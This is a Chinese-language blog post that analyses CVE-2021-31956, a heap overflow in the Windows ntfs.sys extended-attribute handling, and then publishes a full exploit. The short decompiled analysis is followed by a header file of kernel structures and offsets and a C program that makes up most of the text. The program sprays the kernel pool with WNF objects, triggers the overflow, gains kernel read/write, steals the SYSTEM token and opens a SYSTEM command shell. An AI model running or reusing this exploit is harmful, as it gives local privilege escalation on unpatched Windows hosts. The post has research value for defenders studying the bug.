• CVE202131956漏洞分析


    0x00前言

    分析版本是windows 1909 ntfs.sys

    该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中

    堆溢出导致的权限提升

    0x01分析

    _QWORD *__fastcall NtfsQueryEaUserEaList(
            _QWORD *a1,
            __int64 a2,
            __int64 a3,
            __int64 a4,
            unsigned int a5,
            unsigned int *a6,                       // pUserEaList
            char a7)
    {
      int v8; // edi
      unsigned int v9; // ebx
      unsigned int v10; // r15d
      unsigned int *v11; // r12
      unsigned int v12; // r14d
      unsigned __int8 v13; // r13
      unsigned int *i; // rbx
      unsigned int v15; // ebx
      _DWORD *v16; // r13
      unsigned int v17; // r14d
      unsigned int v18; // ebx
      __int64 v20; // rdx
      char v21; // al
      unsigned int v22; // [rsp+20h] [rbp-38h]
      unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
      _DWORD *v24; // [rsp+28h] [rbp-30h]
      struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
      STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
      unsigned int v27; // [rsp+A0h] [rbp+48h]
    
      v8 = 0;
      *a1 = 0i64;
      v24 = 0i64;
      v9 = 0;
      v27 = 0;
      v10 = 0;
      a1[1] = 0i64;
      while ( 1 )
      {
        v11 = (unsigned int *)((char *)a6 + v9);
        *(_QWORD *)&DestinationString.Length = 0i64;
        DestinationString.Buffer = 0i64;
        *(_QWORD *)&SourceString.Length = 0i64;
        SourceString.Buffer = 0i64;
        DestinationString.Length = *((unsigned __int8 *)v11 + 4);
        DestinationString.MaximumLength = DestinationString.Length;
        DestinationString.Buffer = (char *)v11 + 5;
        RtlUpperString(&DestinationString, &DestinationString);
        if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查 pUserEaList 是否有效
          break;
        v12 = *v11;
        v13 = *((_BYTE *)v11 + 4);
        v22 = *v11 + v9;
        for ( i = a6; ; i = (unsigned int *)((char *)i + *i) )// pUserEaList 遍历
        {
          if ( i == v11 )
          {
            v15 = v27;
            v16 = (_DWORD *)(a4 + v10 + v27);       // 分配的内存池
            if ( (unsigned __int8)NtfsLocateEaByName(a2, *(unsigned int *)(a3 + 4), &DestinationString, &v23) )// 更具name查找相应的ea信息
            {
              v20 = a2 + v23;                       // ea_block
              v17 = *(unsigned __int16 *)(v20 + 6) + *(unsigned __int8 *)(v20 + 5) + 9;
              if ( v17 <= a5 - v10 )                // 防溢出检查
              {
                memmove(v16, (const void *)v20, v17);
                *v16 = 0;
                goto LABEL_8;
              }
            }
            else
            {
              v17 = *((unsigned __int8 *)v11 + 4) + 9;
              if ( v17 + v10 <= a5 )
              {
                *v16 = 0;
                *((_BYTE *)v16 + 4) = 0;
                *((_BYTE *)v16 + 5) = *((_BYTE *)v11 + 4);
                *((_WORD *)v16 + 3) = 0;
                memmove(v16 + 2, (char *)v11 + 5, *((unsigned __int8 *)v11 + 4));
                SourceString.Length = DestinationString.Length;
                SourceString.MaximumLength = DestinationString.Length;
                SourceString.Buffer = (PCHAR)(v16 + 2);
                RtlUpperString(&SourceString, &SourceString);
                v15 = v27;
                *((_BYTE *)v16 + *((unsigned __int8 *)v11 + 4) + 8) = 0;
    LABEL_8:
                v18 = v17 + v10 + v15;
                v27 = v18;
                if ( !a7 )
                {
                  if ( v24 )
                    *v24 = (_DWORD)v16 - (_DWORD)v24;
                  if ( *v11 )
                  {
                    v24 = v16;
                    a5 -= v17 + v10;
                    v10 = ((v17 + 3) & 0xFFFFFFFC) - v17;// 只可能0,123
                    goto LABEL_26;
                  }
                }
    LABEL_12:
                a1[1] = v18;
    LABEL_13:
                *(_DWORD *)a1 = v8;
                return a1;
              }
            }
            v21 = NtfsStatusDebugFlags;
            a1[1] = 0i64;
            if ( v21 )
              NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
            v8 = -2147483643;
            goto LABEL_13;
          }
          if ( v13 == *((_BYTE *)i + 4) && !memcmp((char *)v11 + 5, (char *)i + 5, v13) )
            break;
        }
        if ( !v12 )
        {
          v18 = v27;
          goto LABEL_12;
        }
    LABEL_26:
        v9 = v22;
      }
      a1[1] = v9;
      if ( NtfsStatusDebugFlags )
        NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
      *(_DWORD *)a1 = -2147483629;
      return a1;
    }

     0x02exp

    nt.h 文件

    #pragma once
    typedef struct _IO_STATUS_BLOCK {
        union {
            NTSTATUS Status;
            PVOID    Pointer;
        };
        ULONG_PTR Information;
    } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
    
    
    typedef NTSTATUS(NTAPI*__ZwQueryEaFile)(
        HANDLE           FileHandle,
        PIO_STATUS_BLOCK IoStatusBlock,
        PVOID            Buffer,
        ULONG            Length,
        BOOLEAN          ReturnSingleEntry,
        PVOID            EaList,
        ULONG            EaListLength,
        PULONG           EaIndex,
        BOOLEAN          RestartScan
        );
    
    typedef NTSTATUS(NTAPI*__ZwSetEaFile)(
        HANDLE           FileHandle,
        PIO_STATUS_BLOCK IoStatusBlock,
        PVOID            Buffer,
        ULONG            Length
        );
    
    typedef struct _FILE_FULL_EA_INFORMATION {
        ULONG  NextEntryOffset;
        UCHAR  Flags;
        UCHAR  EaNameLength;
        USHORT EaValueLength;
        CHAR   EaName[1];
    } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
    
    
    
    typedef struct _FILE_GET_EA_INFORMATION {
        ULONG NextEntryOffset;
        UCHAR EaNameLength;
        CHAR  EaName[1];
    } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
    
    
    typedef struct _WNF_STATE_NAME {
        ULONG Data[2];
    } WNF_STATE_NAME, *PWNF_STATE_NAME;
    
    typedef enum _WNF_STATE_NAME_LIFETIME
    {
        WnfWellKnownStateName,
        WnfPermanentStateName,
        WnfPersistentStateName,
        WnfTemporaryStateName
    } WNF_STATE_NAME_LIFETIME;
    
    
    typedef enum _WNF_DATA_SCOPE
    {
        WnfDataScopeSystem,
        WnfDataScopeSession,
        WnfDataScopeUser,
        WnfDataScopeProcess,
        WnfDataScopeMachine
    } WNF_DATA_SCOPE;
    
    
    typedef struct _WNF_TYPE_ID
    {
        GUID TypeId;
    } WNF_TYPE_ID, *PWNF_TYPE_ID;
    
    
    typedef const WNF_TYPE_ID *PCWNF_TYPE_ID;
    
    typedef NTSTATUS  (NTAPI * __NtCreateWnfStateName)(
        _Out_ PWNF_STATE_NAME StateName,
        _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
        _In_ WNF_DATA_SCOPE DataScope,
        _In_ BOOLEAN PersistData,
        _In_opt_ PCWNF_TYPE_ID TypeId,
        _In_ ULONG MaximumStateSize,
        _In_ PSECURITY_DESCRIPTOR SecurityDescriptor
    );
    
    
    
    typedef ULONG WNF_CHANGE_STAMP, *PWNF_CHANGE_STAMP;
    
    typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
        _In_ PWNF_STATE_NAME StateName,
        _In_reads_bytes_opt_(Length) const VOID * Buffer,
        _In_opt_ ULONG Length,
        _In_opt_ PCWNF_TYPE_ID TypeId,
        _In_opt_ const PVOID ExplicitScope,
        _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
        _In_ ULONG CheckStamp);
    
    
    
    typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
        _In_ PWNF_STATE_NAME StateName,
        _In_opt_ PWNF_TYPE_ID TypeId,
        _In_opt_ const VOID * ExplicitScope,
        _Out_ PWNF_CHANGE_STAMP ChangeStamp,
        _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
        _Inout_ PULONG BufferSize);
    
    
    
    typedef struct _WNF_STATE_NAME_REGISTRATION
    {
        PVOID64 MaxStateSize;
        PVOID64  TypeId;
        PVOID64 SecurityDescriptor;
    }WNF_STATE_NAME_REGISTRATION, *PWNF_STATE_NAME_REGISTRATION;
    
    
    
    typedef NTSTATUS
    (NTAPI * __NtDeleteWnfStateData)
    (
        _In_ PWNF_STATE_NAME StateName,
        _In_opt_ const VOID *ExplicitScope
    );
    
    
    typedef NTSTATUS (NTAPI * __NtDeleteWnfStateName)(_In_ PWNF_STATE_NAME StateName);
    
    extern __ZwSetEaFile  NtSetEaFile;
    extern __ZwQueryEaFile NtQueryEaFile;
    extern __NtCreateWnfStateName NtCreateWnfStateName;
    extern __NtUpdateWnfStateData NtUpdateWnfStateData;
    extern __NtQueryWnfStateData NtQueryWnfStateData;
    extern __NtDeleteWnfStateData NtDeleteWnfStateData;
    extern __NtDeleteWnfStateName NtDeleteWnfStateName;
    
    #define SPRAY_COUNT 10000
    #define PAYLOAD_SIZE 1000
    
    
    
    
    
    #define STATE_NAME_MASK 0x41C64E6DA3BC0074
    #define TIGGER_EA_NAME ".PA"
    #define OVER_EA_NAME ".PBB"
    
    #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
    #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
    
    
    #define KERNAL_ALLOC_SIZE 0xae
    
    #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) 
    #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
    
    // #define OVER_EA_VALUE_LENGTH (0x53 + 0x10)
    
    #define OVER_EA_VALUE_LENGTH (0xf)
    
    //#define OVER_STATENAME (0x517131)
    
    #define OVER_STATEDATA_LENGTH 0x1000
     
    extern UINT64 OVER_STATENAME ;
    // extern UINT64 TIGGER_STATENAME;
    #define TIGGER_STATENAME ((OVER_STATENAME) ^ (0x41C64E6DA3BC0074))
    #define PROCESS_LIST_ENTRY_OFFSET 0x248 
    //NumberOfPrivatePages
    #define IMAGE_FILE_NAME_OFFSET 0x398  
    
    struct _WNF_NODE_HEADER
    {
        USHORT NodeTypeCode;                                                    //0x0
        USHORT NodeByteSize;                                                    //0x2
    };
    
    struct _EX_RUNDOWN_REF
    {
        union
        {
            ULONGLONG Count;                                                    //0x0
            VOID* Ptr;                                                          //0x0
        };
    };
    
    struct _RTL_BALANCED_NODE
    {
        union
        {
            struct _RTL_BALANCED_NODE* Children[2];                             //0x0
            struct
            {
                struct _RTL_BALANCED_NODE* Left;                                //0x0
                struct _RTL_BALANCED_NODE* Right;                               //0x8
            };
        };
        union
        {
            struct
            {
                UCHAR Red : 1;                                                    //0x10
                UCHAR Balance : 2;                                                //0x10
            };
            ULONGLONG ParentValue;                                              //0x10
        };
    };
    
    struct _WNF_STATE_NAME_STRUCT
    {
        ULONGLONG Version : 4;                                                    //0x0
        ULONGLONG NameLifetime : 2;                                               //0x0
        ULONGLONG DataScope : 4;                                                  //0x0
        ULONGLONG PermanentData : 1;                                              //0x0
        ULONGLONG Sequence : 53;                                                  //0x0
    };
    
    struct _EX_PUSH_LOCK
    {
        union
        {
            struct
            {
                ULONGLONG Locked : 1;                                             //0x0
                ULONGLONG Waiting : 1;                                            //0x0
                ULONGLONG Waking : 1;                                             //0x0
                ULONGLONG MultipleShared : 1;                                     //0x0
                ULONGLONG Shared : 60;                                            //0x0
            };
            ULONGLONG Value;                                                    //0x0
            VOID* Ptr;                                                          //0x0
        };
    };
    
    struct _WNF_LOCK
    {
        struct _EX_PUSH_LOCK PushLock;                                          //0x0
    };
    
    struct _RTL_AVL_TREE
    {
        struct _RTL_BALANCED_NODE* Root;                                        //0x0
    };
    
    struct _WNF_SCOPE_INSTANCE
    {
        struct _WNF_NODE_HEADER Header;                                         //0x0
        struct _EX_RUNDOWN_REF RunRef;                                          //0x8
        enum _WNF_DATA_SCOPE DataScope;                                         //0x10
        ULONG InstanceIdSize;                                                   //0x14
        VOID* InstanceIdData;                                                   //0x18
        struct _LIST_ENTRY ResolverListEntry;                                   //0x20
        struct _WNF_LOCK NameSetLock;                                           //0x30
        struct _RTL_AVL_TREE NameSet;                                           //0x38
        VOID* PermanentDataStore;                                               //0x40
        VOID* VolatilePermanentDataStore;                                       //0x48
    };
    
    
    
    
    struct _WNF_STATE_DATA
    {
        struct _WNF_NODE_HEADER Header;                                         //0x0
        ULONG AllocatedSize;                                                    //0x4
        ULONG DataSize;                                                         //0x8
        ULONG ChangeStamp;                                                      //0xc
    };
    
    
    
    typedef struct _WNF_NAME_INSTANCE
    {
         _WNF_NODE_HEADER Header;                                         //0x0
         _EX_RUNDOWN_REF RunRef;                                          //0x8
         _RTL_BALANCED_NODE TreeLinks;                                    //0x10
         _WNF_STATE_NAME_STRUCT StateName;                                //0x28
         _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
         _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
         _WNF_LOCK StateDataLock;                                         //0x50
         _WNF_STATE_DATA* StateData;                                      //0x58
        ULONG CurrentChangeStamp;                                               //0x60
        VOID* PermanentDataStore;                                               //0x68
        struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
        struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
        struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88
        PVOID  CreatorProcess;                                       //0x98
        LONG DataSubscribersCount;                                              //0xa0
        LONG CurrentDeliveryCount;                                              //0xa4
    }WNF_NAME_INSTANCE, *PWNF_NAME_INSTANCE;
    
    
    
    #define PROCESS_ID_OFFSET 0x1b8
    
    #define TOKEN_OFFSET 0x320
    
    #define PROCESS_LIST_OFFSET 0x2f0

    c文件

    // ConsoleApplication11.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <Windows.h>
    #include "nt.h"
    #include <sddl.h>
    __ZwQueryEaFile NtQueryEaFile = NULL;
    __ZwSetEaFile  NtSetEaFile = NULL;
    __NtCreateWnfStateName NtCreateWnfStateName = NULL;
    __NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
    __NtQueryWnfStateData NtQueryWnfStateData = NULL;
    __NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
    __NtDeleteWnfStateName NtDeleteWnfStateName = NULL;
    WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };
    
    UINT64 OVER_STATENAME = 0;
    
    int initNtDll()
    {
        HMODULE hNtDll = NULL;
        hNtDll = LoadLibrary("ntdll.dll");
        if (hNtDll == NULL)
        {
            printf("load ntdll failed!\r\n");
            return -1;
        }
        NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
        NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
        NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
        NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
        NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
        NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
        NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
        if (NtQueryEaFile == NULL ||
            NtSetEaFile == NULL ||
            NtCreateWnfStateName == NULL ||
            NtUpdateWnfStateData == NULL ||
            NtQueryWnfStateData == NULL ||
            NtDeleteWnfStateData == NULL ||
            NtDeleteWnfStateName == NULL)
        {
            printf("not found  functions\r\n");
            return -1;
        }
    
        return 0;
    }
    
    int tiggerLeak()
    {
        PFILE_GET_EA_INFORMATION EaList = NULL;
        PFILE_GET_EA_INFORMATION EaListCP = NULL;
        PVOID eaData = NULL;
        DWORD dwNumberOfBytesWritten = 0;
        UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
        PFILE_FULL_EA_INFORMATION curEa = NULL;
        HANDLE hFile = INVALID_HANDLE_VALUE;
        IO_STATUS_BLOCK eaStatus = { 0 };
        NTSTATUS rc;
        PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
        PISECURITY_DESCRIPTOR pSecurity = NULL;
        PUCHAR pd = NULL;
        PUCHAR StateDataLock = NULL;
        PUINT64 StateData = NULL;
        PUINT64 StateName = NULL;
        PUINT64 parent = NULL;
        PUINT AllocatedSize = NULL;
        PUINT DataSize = NULL;
        int state = -1;
    
    
        hFile = CreateFileA("payload",
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
    
        if (hFile == INVALID_HANDLE_VALUE)
        {
            printf("create the file failed\r\n");
            goto ERROR_HANDLE;
        }
    
    
        WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
            strlen("This files has an optional .COMMENTS EA\n"),
            &dwNumberOfBytesWritten, NULL);
    
    
    
    
        curEa = (PFILE_FULL_EA_INFORMATION)payLoad;
    
    
        curEa->Flags = 0;
        
        curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
        curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
        //align 4。
        curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
        memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
        RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
    
    
        curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
        curEa->NextEntryOffset = 0;
        curEa->Flags = 0;
        
        curEa->EaNameLength = OVER_EA_NAME_LENGTH; 
        curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
        memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); 
        RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
        pd = (PUCHAR)(curEa);
    
        AllocatedSize = (PUINT)(pd + 0x4 + 0x10);
        DataSize = (PUINT)(pd + 0x8 + 0x10); 
        *AllocatedSize = OVER_STATEDATA_LENGTH;
        *DataSize = OVER_STATEDATA_LENGTH;
    
        rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
    
    
        
    
        if (rc != 0)
        {
            printf("NtSetEaFile failed error code is %x\r\n", rc);
            goto ERROR_HANDLE;
    
        }
        eaData = malloc(sizeof(payLoad));
        if (eaData == NULL)
        {
            goto ERROR_HANDLE;
        }
    
    
        memset(eaData, 0, sizeof(payLoad));
    
        EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
        if (EaList == NULL)
        {
            goto ERROR_HANDLE;
        }
        EaListCP = EaList;
        memset(EaList, 0, 100);
    
    
    
        memcpy(EaList->EaName, ".PA", strlen(".PA"));
        EaList->EaNameLength = (UCHAR)strlen(".PA");
        EaList->NextEntryOffset = 12; // align 4
    
    
        EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
        memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
        EaList->EaNameLength = (UCHAR)strlen(".PBB");
        EaList->NextEntryOffset = 0;
    
        rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
        
    
        state = 0;
    
    
    ERROR_HANDLE:
        if (hFile != INVALID_HANDLE_VALUE)
        {
            CloseHandle(hFile);
            hFile = INVALID_HANDLE_VALUE;
        }
        if (EaList != NULL)
        {
            free(EaListCP);
            EaList = NULL;
        }
    
        if (eaData != NULL)
        {
            free(eaData);
            eaData = NULL;
        }
    
        if (pSecurity != NULL)
        {
            free(pSecurity);
            pSecurity = NULL;
        }
        return state;
    }
    
    int HeapSpray()
    {
        NTSTATUS state = 0;
        
        PSECURITY_DESCRIPTOR pSD = nullptr;
        BYTE upData[0xa0] = { 0 };
        RtlFillMemory(upData, sizeof(upData), 'C');
        if (!ConvertStringSecurityDescriptorToSecurityDescriptor("",
            SDDL_REVISION_1, &pSD, nullptr))
        {
            return -1;
        }
    
        for (int i = 0; i < SPRAY_COUNT; i++)
        {
            state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
            if (state != 0)
            {
                return -1;
            }
            
        }  
    
    
        for (int i = 1; i < SPRAY_COUNT; i+=2)
        {
    
            state = NtDeleteWnfStateName(&StateNames[i]);
            if (state != 0)
            {
                return -1;
            }
            StateNames[i].Data[0] = 0;
            StateNames[i].Data[1] = 0;
    
            state = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i - 1], &upData, 0xa0, NULL, NULL, NULL, 0);
            if (state != 0)
            {
                return -1;
            }
        }
    
        
        for (int i = 0; i < SPRAY_COUNT; i += 4)
        {
            NtDeleteWnfStateData(&StateNames[i], NULL);
            state = NtDeleteWnfStateName(&StateNames[i]);
            if (state != 0)
            {
                return -1;
            }
            StateNames[i].Data[0] = 0;
            StateNames[i].Data[1] = 0;
                   
        }
    
        
        if (pSD)
        {
            LocalFree(pSD);
        }
    
    
        return 0;
    }
    
    
    
    
    
    int tigger(UINT64 StateName)
    {
        NTSTATUS state = 0;
        UINT64 name = StateName;
        BYTE upData[0x74] = { 0 };
        RtlFillMemory(upData, sizeof(upData), 'A');
        name ^= STATE_NAME_MASK;
        state = NtUpdateWnfStateData((PWNF_STATE_NAME)&name, &upData, 0x70, NULL, NULL, NULL, 0);
        return state;
    }
    
    
    
    int OverStateData(PWNF_STATE_NAME StateName, PUCHAR Buff)
    {
        
    
        NTSTATUS state = NtUpdateWnfStateData(StateName, (const void*)Buff, OVER_STATEDATA_LENGTH, NULL, NULL, NULL, 0);
    
        return state;
    }
    
    
    
    NTSTATUS GetOverStateData(UINT64 StateName, PUCHAR Buff, PULONG size)
    {
        WNF_CHANGE_STAMP Stamp;
        ULONG BufferSize = *size;
        UINT64 name = StateName;
        name ^= STATE_NAME_MASK;
        NTSTATUS state = NtQueryWnfStateData((PWNF_STATE_NAME)&name, NULL, NULL, &Stamp, Buff, &BufferSize);
    
        if (state != 0)
        {
            printf(__FUNCTION__  "failed size: %d state: %x\r\n", BufferSize, state);
            return state;
        }
    
        *size = BufferSize;
        return 0;
    }
    
    
    UINT64 GetProcessEprocess(UINT64 StateName, PUINT64 pid, UINT pidOffset=0x120, UINT eprocessOffset=0x128)
    {
        
        UCHAR Buff[0x3000] = { 0 };
        ULONG BufferSize = 0x3000;
        int state = GetOverStateData(StateName, Buff, &BufferSize);
    
        if (state != 0)
        {
            printf(__FUNCTION__"filed %x\r\n", state);
            return 0;
        }
    
    
    
        if (BufferSize == 0) //idle
        {
            *pid = 0;
            return 0;
        }
        *pid = *((PUINT64)(Buff + pidOffset));
        return *((PUINT64)(Buff + eprocessOffset));
    }
    
    
    int GetProcessName(UINT64 StateName, PCHAR name)
    {
        UCHAR Buff[0x5000] = { 0 };
        ULONG BufferSize = 0x5000;
        int state = GetOverStateData(StateName, Buff, &BufferSize);
        if (state != 0)
        {
            printf(__FUNCTION__"filed %x\r\n", state);
            return -1;
        }
        memcpy(name, Buff, 0x100 - 1);
        return 0;
    }
    
    UINT64 GetProcessToken(UINT64 StateName)
    {
        UCHAR Buff[0x5000] = { 0 };
        ULONG BufferSize = 0x5000;
        int state = GetOverStateData(StateName, Buff, &BufferSize);
        if (state != 0)
        {
            printf(__FUNCTION__" filed %x\r\n", state);
            return -1;
        }
        
        return *(PUINT64)(Buff + 0x30);
    }
    
    
    
    NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
    {
    
        BOOL Isexist = FALSE;
        for (int i = 0; i < SPRAY_COUNT; ++i)
        {
            if (*(PUINT64)StateName == *((PUINT64)&StateNames[i]))
            {
                Isexist = TRUE;
            }
        }
        if (Isexist == FALSE)
        {
            printf("the wnf obj is deleted!!!\r\n");
            return -1;
        }
    
        PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
        UINT64 eProcess = (UINT64)NameIns->CreatorProcess;
        if (eProcess == 0)
        {
            return -1;
        }
        NTSTATUS state = -1;
        
        
        UINT64 entry = (UINT64)(eProcess + PROCESS_ID_OFFSET);
        UINT64 systemEProcess = 0;
        for (;;)
        {
            NameIns->StateData = (_WNF_STATE_DATA*)(entry);
            state = OverStateData(StateName, Buff);
            if (state != 0)
                return -1;
    
            UINT64 pid = 0;
            UINT64 next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid);
    
            
    
            
            // handle idle process
            if (pid == 0)
            {
                entry = entry + 0x269 - PROCESS_ID_OFFSET;
    
                NameIns->StateData = (_WNF_STATE_DATA*)(entry);
                state = OverStateData(StateName, Buff);
                if (state != 0)
                    return -1;
                next = GetProcessEprocess(*(PULONGLONG)&(NameIns->StateName), &pid, 0x6f, 0x77);
                printf("EPROCESS: %llx PID: %lld\r\n", entry - 0x269, pid);
            }
        
            else
            {
                printf("EPROCESS: %llx PID: %lld\r\n", entry - PROCESS_ID_OFFSET, pid);
            }
    
    
    
            if (pid == 4)
            {
                printf("found system process\r\n");
                systemEProcess = entry - PROCESS_ID_OFFSET;
                break;
            }
    
            
            if (next == 0)
                break;
    
            entry = next - PROCESS_LIST_OFFSET + PROCESS_ID_OFFSET;
        }
                
        if (systemEProcess != 0)
        {
            NameIns->StateData = (_WNF_STATE_DATA*)(systemEProcess + TOKEN_OFFSET);
            state = OverStateData(StateName, Buff);
            if (state != 0)
                return -1;
            UINT64 token =  GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
        
    
            UCHAR tokenBuff[0x5000] = { 0 };
            ULONG tokenBufferSize = 0x5000;
    
            NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
            state = OverStateData(StateName, Buff);
            if (state != 0)
                return -1;
    
            int state = GetOverStateData(*(PULONGLONG)&(NameIns->StateName), tokenBuff, &tokenBufferSize);
            if (state != 0)
            {
                printf(" filed %x %d\r\n", state, __LINE__);
                return -1;
            }
    
            
            *(PUINT64)(tokenBuff + 0x30) = token;
    
            NameIns->StateData = (_WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET + 4);
            state = OverStateData(StateName, Buff);
            if (state != 0)
            {
                printf(" filed %x %d\r\n", state , __LINE__);
                return -1;
            }
    
    
            UINT64 name = *(PULONGLONG)&(NameIns->StateName);
            name ^= STATE_NAME_MASK;
    
    
           state = NtUpdateWnfStateData((PWNF_STATE_NAME)(&name), tokenBuff + 4, 0x100, NULL, NULL, NULL, 0);
    
           if (state != 0)
           {
               printf("re token failed state: %x\r\n", state);
               return -1;
           }
    
           STARTUPINFO StartupInfo = { 0 };
           PROCESS_INFORMATION ProcessInformation = { 0 };
            
           if (!CreateProcess("C:\\Windows\\System32\\cmd.exe",
               NULL,
               NULL,
               NULL,
               FALSE,
               CREATE_NEW_CONSOLE,
               NULL,
               NULL,
               &StartupInfo,
               &ProcessInformation))
           {
               printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
              return -1;
           }
    
           WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
        }
    
        return 0;
    }
    
    
    int main()
    {
        BOOL IsSuccess = FALSE;
        UINT Count = 0;
        PVOID pSelfEprocess = NULL;
        if (initNtDll() != 0)
        {
            printf("initNtDll filed!\r\n");
            
            goto PAUSE;
        }
    
        
        if (HeapSpray() != 0)
        {
            printf("HeapSpray filed!\r\n");
            goto PAUSE;
        }
    
        
    RE_TRY:
        if (Count++ >= 1000)
        {
            printf("exp  filed!\r\n");
            goto PAUSE;
        }
        if (tiggerLeak() != 0)
        {
            printf("tigger leak filed!\r\n");
            goto PAUSE;
        }
        
        
        for (int i = 0; i < SPRAY_COUNT; i += 2)
        {
            WNF_CHANGE_STAMP Stamp;
            ULONG BufferSize = 0xa0;
            UCHAR Buff[OVER_STATEDATA_LENGTH] = { 0 };
            if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0)
                continue;
            NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
            if (state == 0xc0000023)
            {
    
                BufferSize = OVER_STATEDATA_LENGTH;
                state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
                if (state != 0)
                {
                    ;
                }
                else
                {
                    PWNF_NAME_INSTANCE NameIns = (PWNF_NAME_INSTANCE)(Buff + 0xa0 + 0x10);
                    
                    if (NameIns->Header.NodeByteSize == 0xa8 &&
                        NameIns->Header.NodeTypeCode == 0x903 &&
                        NameIns->RunRef.Ptr == NULL
                        )
                    {
                        if (EnumProcessEprocess(&StateNames[i], Buff) == 0)
                        {
    
                            IsSuccess = TRUE;
                        }
                        
                        
                    }
                    
                }
            }
        }
    
        if (IsSuccess == FALSE)
            goto RE_TRY;
    
    
        IsSuccess = !IsSuccess;
        
    
    PAUSE:
        system("pause");
        return 0;
    }
  • 相关阅读:
    面试官:反射都不会,还敢说自己会Java?
    nginx 开启x-forward
    不写代码,从0到1教你制作炫酷可视化大屏
    5G 专网部署方案
    Mac运行pygame一直显示空白屏幕
    数据库大咖解读“新基建”,墨天轮四重好礼相送!
    Oracle 20c 新特性:自动的区域图
    4000多人全靠报表自动化,效率提高60%,这套数据平台方法论真强
    EBS开发性能优化之查找需要优化的程序
    EBS开发性能优化之SQL语句优化
  • 原文地址:https://www.cnblogs.com/feizianquan/p/16089929.html
Copyright © 2020-2023  润新知